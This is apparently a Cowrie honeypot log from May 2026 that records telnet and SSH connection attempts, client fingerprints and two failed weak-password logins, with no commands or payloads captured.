{"eventid":"cowrie.session.connect","src_ip":"47.236.66.123","src_port":42010,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b0ed2a69924","protocol":"telnet","message":"New connection: 47.236.66.123:42010 (159.203.135.109:23) [session: 4b0ed2a69924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:31.591017Z"}
{"eventid":"cowrie.session.closed","duration":31.463924407958984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:32.409552Z","src_ip":"50.6.3.16","session":"813c5179683f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07792377471924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:33.979997Z","src_ip":"50.6.3.16","session":"6fab823f3a3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56784,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2475f000f60","protocol":"telnet","message":"New connection: 50.6.3.16:56784 (10.17.0.5:23) [session: e2475f000f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:34.252679Z"}
{"eventid":"cowrie.session.closed","duration":31.090372323989868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:34.853930Z","src_ip":"50.6.3.16","session":"ad89f3afd5fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56800,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d4e7cc7342","protocol":"telnet","message":"New connection: 50.6.3.16:56800 (10.17.0.5:23) [session: f4d4e7cc7342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:35.253987Z"}
{"eventid":"cowrie.session.closed","duration":31.415658950805664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:39.470692Z","src_ip":"50.6.3.16","session":"7c7555299984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663965940475464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:39.633041Z","src_ip":"50.6.3.16","session":"f9fd75d380e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180970191955566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:40.882080Z","src_ip":"50.6.3.16","session":"10584a98c9f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43732,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b03256dae44","protocol":"telnet","message":"New connection: 50.6.3.16:43732 (10.17.0.5:23) [session: 2b03256dae44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:43.306004Z"}
{"eventid":"cowrie.session.closed","duration":31.062766075134277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:45.277864Z","src_ip":"50.6.3.16","session":"184769d8d2c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040030002593994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:45.643792Z","src_ip":"50.6.3.16","session":"ac6ab68fb86d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45556,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4f17b03a882","protocol":"telnet","message":"New connection: 50.6.3.16:45556 (10.17.0.5:23) [session: a4f17b03a882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:49.276084Z"}
{"eventid":"cowrie.session.closed","duration":31.073087453842163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:49.475352Z","src_ip":"50.6.3.16","session":"bcee2b390217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45568,"dst_ip":"10.17.0.5","dst_port":23,"session":"568d7ece502d","protocol":"telnet","message":"New connection: 50.6.3.16:45568 (10.17.0.5:23) [session: 568d7ece502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:50.351631Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":45574,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e392b032b98","protocol":"telnet","message":"New connection: 50.6.3.16:45574 (10.17.0.5:23) [session: 1e392b032b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:51.011971Z"}
{"eventid":"cowrie.session.closed","duration":31.062536478042603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:52.043322Z","src_ip":"50.6.3.16","session":"6f68b764361a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91676950454712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:52.469016Z","src_ip":"50.6.3.16","session":"841e4f7e0fb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39918065071106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:52.921797Z","src_ip":"50.6.3.16","session":"b1645f1d05a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076162576675415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:55.308517Z","src_ip":"50.6.3.16","session":"2a1c2af6a04d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073648691177368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:56.978954Z","src_ip":"50.6.3.16","session":"68a5ca39e908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":33710,"dst_ip":"10.17.0.5","dst_port":22,"session":"45076eea72a8","protocol":"ssh","message":"New connection: 187.212.47.18:33710 (10.17.0.5:22) [session: 45076eea72a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:59.597711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:59.606698Z","src_ip":"187.212.47.18","session":"45076eea72a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:59.860985Z","src_ip":"187.212.47.18","session":"45076eea72a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user","message":"login attempt [user01/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:00.197951Z","src_ip":"187.212.47.18","session":"45076eea72a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.43259596824646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:00.522178Z","src_ip":"50.6.3.16","session":"db2d8da48ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:01.293220Z","src_ip":"187.212.47.18","session":"45076eea72a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5307776927948,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:02.121684Z","src_ip":"47.236.66.123","session":"4b0ed2a69924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7607262134552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:05.012817Z","src_ip":"50.6.3.16","session":"e2475f000f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":35070,"dst_ip":"159.203.135.109","dst_port":22,"session":"9764a61cb480","protocol":"ssh","message":"New connection: 4.213.160.153:35070 (159.203.135.109:22) [session: 9764a61cb480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:05.817603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:05.837429Z","src_ip":"4.213.160.153","session":"9764a61cb480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:06.028519Z","src_ip":"4.213.160.153","session":"9764a61cb480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.866091012954712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:06.119944Z","src_ip":"50.6.3.16","session":"f4d4e7cc7342","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test_123","message":"login attempt [root/test_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:06.792751Z","src_ip":"4.213.160.153","session":"9764a61cb480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:07.987737Z","src_ip":"4.213.160.153","session":"9764a61cb480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.23889446258545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:13.544744Z","src_ip":"50.6.3.16","session":"2b03256dae44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47680,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fb44b799969","protocol":"telnet","message":"New connection: 50.6.3.16:47680 (10.17.0.5:23) [session: 4fb44b799969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:14.122157Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47682,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f8105d9c819","protocol":"telnet","message":"New connection: 50.6.3.16:47682 (10.17.0.5:23) [session: 0f8105d9c819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:14.151231Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50752,"dst_ip":"10.17.0.5","dst_port":23,"session":"935a66c9293f","protocol":"telnet","message":"New connection: 50.6.3.16:50752 (10.17.0.5:23) [session: 935a66c9293f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:20.230402Z"}
{"eventid":"cowrie.session.closed","duration":31.125592708587646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:20.401556Z","src_ip":"50.6.3.16","session":"a4f17b03a882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50760,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab67f5c26331","protocol":"telnet","message":"New connection: 50.6.3.16:50760 (10.17.0.5:23) [session: ab67f5c26331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:20.513445Z"}
{"eventid":"cowrie.session.closed","duration":30.37933039665222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:20.730866Z","src_ip":"50.6.3.16","session":"568d7ece502d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585883140563965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:21.597718Z","src_ip":"50.6.3.16","session":"1e392b032b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50762,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d63bd268eb","protocol":"telnet","message":"New connection: 50.6.3.16:50762 (10.17.0.5:23) [session: 76d63bd268eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:23.426823Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50770,"dst_ip":"10.17.0.5","dst_port":23,"session":"134a5f728ac2","protocol":"telnet","message":"New connection: 50.6.3.16:50770 (10.17.0.5:23) [session: 134a5f728ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:25.842687Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38498,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ed1e74fdfc","protocol":"telnet","message":"New connection: 50.6.3.16:38498 (10.17.0.5:23) [session: 27ed1e74fdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:29.008879Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38516,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca286b01cb02","protocol":"telnet","message":"New connection: 50.6.3.16:38516 (10.17.0.5:23) [session: ca286b01cb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:32.152045Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38502,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f9a96d07c0","protocol":"telnet","message":"New connection: 50.6.3.16:38502 (10.17.0.5:23) [session: 20f9a96d07c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:32.263706Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38522,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc49a0c6cde","protocol":"telnet","message":"New connection: 50.6.3.16:38522 (10.17.0.5:23) [session: cfc49a0c6cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:35.400880Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38538,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d53e5f8dff8","protocol":"telnet","message":"New connection: 50.6.3.16:38538 (10.17.0.5:23) [session: 4d53e5f8dff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:36.581059Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54242,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e45cdec0b4","protocol":"telnet","message":"New connection: 50.6.3.16:54242 (10.17.0.5:23) [session: 87e45cdec0b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:43.221144Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54252,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f5764019de1","protocol":"telnet","message":"New connection: 50.6.3.16:54252 (10.17.0.5:23) [session: 5f5764019de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:43.594386Z"}
{"eventid":"cowrie.session.closed","duration":31.078953981399536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:45.201003Z","src_ip":"50.6.3.16","session":"4fb44b799969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.078701496124268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:45.229821Z","src_ip":"50.6.3.16","session":"0f8105d9c819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54266,"dst_ip":"10.17.0.5","dst_port":23,"session":"7863beaea9e5","protocol":"telnet","message":"New connection: 50.6.3.16:54266 (10.17.0.5:23) [session: 7863beaea9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:46.489134Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39768,"dst_ip":"10.17.0.5","dst_port":23,"session":"14861a2f28e2","protocol":"telnet","message":"New connection: 50.6.3.16:39768 (10.17.0.5:23) [session: 14861a2f28e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:49.139070Z"}
{"eventid":"cowrie.session.closed","duration":30.14092183113098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:50.654239Z","src_ip":"50.6.3.16","session":"ab67f5c26331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070852994918823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:51.301136Z","src_ip":"50.6.3.16","session":"935a66c9293f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39770,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd317a395868","protocol":"telnet","message":"New connection: 50.6.3.16:39770 (10.17.0.5:23) [session: cd317a395868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:53.263124Z"}
{"eventid":"cowrie.session.closed","duration":30.55205011367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:53.978730Z","src_ip":"50.6.3.16","session":"76d63bd268eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084009408950806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:32:56.926575Z","src_ip":"50.6.3.16","session":"134a5f728ac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004371404647827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:00.013134Z","src_ip":"50.6.3.16","session":"27ed1e74fdfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44988775253296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:02.601836Z","src_ip":"50.6.3.16","session":"ca286b01cb02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884233236312866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:03.147824Z","src_ip":"50.6.3.16","session":"20f9a96d07c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701929330825806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:06.102671Z","src_ip":"50.6.3.16","session":"cfc49a0c6cde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293911933898926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:07.874882Z","src_ip":"50.6.3.16","session":"4d53e5f8dff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59576,"dst_ip":"10.17.0.5","dst_port":23,"session":"7920ea4e31af","protocol":"telnet","message":"New connection: 50.6.3.16:59576 (10.17.0.5:23) [session: 7920ea4e31af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:09.383719Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":48198,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6bf20dcc040","protocol":"ssh","message":"New connection: 4.213.160.153:48198 (159.203.135.109:22) [session: e6bf20dcc040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:10.629170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:33:10.634712Z","src_ip":"4.213.160.153","session":"e6bf20dcc040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 